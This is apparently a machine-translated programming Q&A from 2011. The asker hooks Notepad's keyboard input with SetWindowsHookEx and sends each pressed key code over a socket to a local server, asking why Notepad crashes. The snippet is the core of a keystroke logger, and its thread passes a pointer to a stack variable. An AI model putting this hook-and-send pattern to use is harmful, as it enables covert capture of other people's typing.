我想通过使用SetWindowsHookEx键盘挂钩Notepad.exe。试图挂钩Notepad.exe
如您所见,工作线程正在将其代码为wParam的ASCII代码发送到指定的服务器。
UINT WINAPI SendToServer(LPVOID lpParam)
{
CSocket Client;
Client.Create();
Client.Connect("localhost", 6677);
Client.Send(lpParam, 2); // sending its ASICI code to Server
Client.Close();
return 0;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szPath[MAX_PATH] = {0,};
TCHAR* p = nullptr;
if(nCode >= 0)
{
// bit 31 : 0 => press, 1 => release
if(!(lParam & 0x80000000))
{
GetModuleFileName(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
if(!_stricmp(p + 1, "Notepad.exe"))
{
unsigned ThreadID;
g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread
return 0;
}
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
的问题是,对于涉及到新的工作线程某种原因,记事本发生了严重错误(如果我点击“忽略”按钮几次,还挺工作虽然)。
我删除这条线之下,
g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread
然后没有出现错误,从Notepad.exe的
任何帮助将是非常赞赏。
在此先感谢。
你确定这是C#?对我来说,它看起来非常像C++。 – 2011-12-30 05:13:57
对不起,这是C++。没有添加C#标签。不知道为什么添加C#标签。 – 2011-12-30 05:16:41